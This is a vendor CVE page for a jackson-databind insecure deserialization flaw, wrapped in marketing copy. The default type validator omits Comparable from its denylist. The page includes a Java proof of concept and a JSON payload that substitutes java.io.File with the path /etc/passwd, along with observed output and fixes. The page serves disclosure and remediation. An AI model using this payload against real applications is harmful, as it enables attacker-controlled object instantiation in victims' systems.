CVE-2026-83557

CVE-2026-83557 is a medium-severity insecure deserialization vulnerability in tools.jackson.core:jackson-databind (maven), affecting versions >= 3.0.0, < 3.1.6. It is fixed in 3.1.6, 3.2.2, 2.18.10, 2.21.6, 2.22.2.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)

DefaultBaseTypeLimitingValidator, the PolymorphicTypeValidator used automatically whenever @JsonTypeInfo is applied without an explicitly configured custom validator, denies polymorphic resolution only for nine specific "unsafe base types" (Object, Serializable, Closeable, AutoCloseable, Cloneable, Runnable, java.util.logging.Handler, javax.naming.Referenceable, javax.sql.DataSource). Its isSafeSubType() returns true unconditionally for every other base type. java.lang.Comparable is not in that list, despite being implemented by a very large fraction of JDK and application classes, comparable in breadth to Serializable, which is denylisted for exactly that reason. An application with an @JsonTypeInfo-annotated Comparable-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing Comparable.

Details

Affected file: src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java

private final static class UnsafeBaseTypes {
    private final Set<String> UNSAFE = new HashSet<>();
    {
        UNSAFE.add(Object.class.getName());
        UNSAFE.add(java.io.Closeable.class.getName());
        UNSAFE.add(java.io.Serializable.class.getName());
        UNSAFE.add(AutoCloseable.class.getName());
        UNSAFE.add(Cloneable.class.getName());
        UNSAFE.add(Runnable.class.getName());          // [databind#5014]
        UNSAFE.add("java.util.logging.Handler");
        UNSAFE.add("javax.naming.Referenceable");
        UNSAFE.add("javax.sql.DataSource");
        // java.lang.Comparable is NOT present here
    }
}

protected boolean isSafeSubType(DatabindContext ctxt,
        JavaType baseType, JavaType subType) {
    return true;   // unconditional for every base type not in UNSAFE
}

The class's own JavaDoc acknowledges the design ("Note that when using potentially unsafe base type like java.lang.Object a custom implementation... is needed"), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that Comparable has the same breadth of implementers as the types this class does restrict, and its absence looks like an oversight rather than a deliberate choice, consistent with the ongoing, incremental nature of this list (Runnable was added recently for issue #5014).

This is specific to the default, unconfigured validator reached via bare @JsonTypeInfo usage. Global "Default Typing" via activateDefaultTyping() is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument, a correctly-configured BasicPolymorphicTypeValidator rejects the same payload under activateDefaultTyping().

PoC

Built entirely from source (jackson-databind + jackson-core + jackson-annotations, javac, OpenJDK 21, no third-party gadget libraries, no network access):

1. Sanity check (benign class, confirms the mechanism fires):

static class SafeThing implements Comparable<SafeThing> {
    public String name;
    public SafeThing() {}
    public int compareTo(SafeThing o) { return 0; }
}
static class Holder {
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Comparable<?> value;
}

ObjectMapper mapper = JsonMapper.builder().build();   // no custom PTV
String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=...SafeThing

2. Real JDK class substitution:

String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd

3. Negative control, Default Typing with an explicit custom PTV:

PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("PtvGapTest4").build();
ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// same java.io.File payload
// RESULT: REJECTED - InvalidTypeIdException: "...denied resolution"

Observed output:

$ java -cp .:build/classes PtvGapTest3
Trying: {"value":["java.io.File","/etc/passwd"]}
ACCEPTED, class=java.io.File value=/etc/passwd

$ java -cp .:build/classes PtvGapTest4
Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}]
REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a
subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution

Impact

Any application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, without a separately configured restrictive PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. Concrete impact is demonstrated via java.io.File: an attacker can cause construction of a File object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive.

Suggested remediation:

  1. Add java.lang.Comparable to UnsafeBaseTypes.UNSAFE.
  2. Audit other broad JDK interfaces (java.lang.Iterable, java.util.EventListener) for the same gap.
  3. Consider a narrower default for isSafeSubType() for base types outside the fixed denylist, rather than unconditional true.

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

CVE-2026-83557 has a CVSS score of 5.6 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.6, 3.2.2, 2.18.10, 2.21.6, 2.22.2); upgrading removes the vulnerable code path.

Affected versions

tools.jackson.core:jackson-databind (>= 3.0.0, < 3.1.6) tools.jackson.core:jackson-databind (>= 3.2.0, < 3.2.2) com.fasterxml.jackson.core:jackson-databind (>= 2.11.0, < 2.18.10) com.fasterxml.jackson.core:jackson-databind (>= 2.19.0, < 2.21.6) com.fasterxml.jackson.core:jackson-databind (>= 2.22.0, < 2.22.2)

Security releases

tools.jackson.core:jackson-databind → 3.1.6 (maven) tools.jackson.core:jackson-databind → 3.2.2 (maven) com.fasterxml.jackson.core:jackson-databind → 2.18.10 (maven) com.fasterxml.jackson.core:jackson-databind → 2.21.6 (maven) com.fasterxml.jackson.core:jackson-databind → 2.22.2 (maven)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

tools.jackson.core:jackson-databind to 3.1.6 or later; tools.jackson.core:jackson-databind to 3.2.2 or later; com.fasterxml.jackson.core:jackson-databind to 2.18.10 or later; com.fasterxml.jackson.core:jackson-databind to 2.21.6 or later; com.fasterxml.jackson.core:jackson-databind to 2.22.2 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-83557? CVE-2026-83557 is a medium-severity insecure deserialization vulnerability in tools.jackson.core:jackson-databind (maven), affecting versions >= 3.0.0, < 3.1.6. It is fixed in 3.1.6, 3.2.2, 2.18.10, 2.21.6, 2.22.2. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
  2. How severe is CVE-2026-83557? CVE-2026-83557 has a CVSS score of 5.6 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-83557?
    • tools.jackson.core:jackson-databind (maven) (versions >= 3.0.0, < 3.1.6)
    • com.fasterxml.jackson.core:jackson-databind (maven) (versions >= 2.11.0, < 2.18.10)
  4. Is there a fix for CVE-2026-83557? Yes. CVE-2026-83557 is fixed in 3.1.6, 3.2.2, 2.18.10, 2.21.6, 2.22.2. Upgrade to this version or later.
  5. Is CVE-2026-83557 exploitable, and should I be worried? Whether CVE-2026-83557 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-83557 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-83557?
    • Upgrade tools.jackson.core:jackson-databind to 3.1.6 or later
    • Upgrade tools.jackson.core:jackson-databind to 3.2.2 or later
    • Upgrade com.fasterxml.jackson.core:jackson-databind to 2.18.10 or later
    • Upgrade com.fasterxml.jackson.core:jackson-databind to 2.21.6 or later
    • Upgrade com.fasterxml.jackson.core:jackson-databind to 2.22.2 or later

Other vulnerabilities in tools.jackson.core:jackson-databind

Stop the waste.
Protect your environment with Kodem.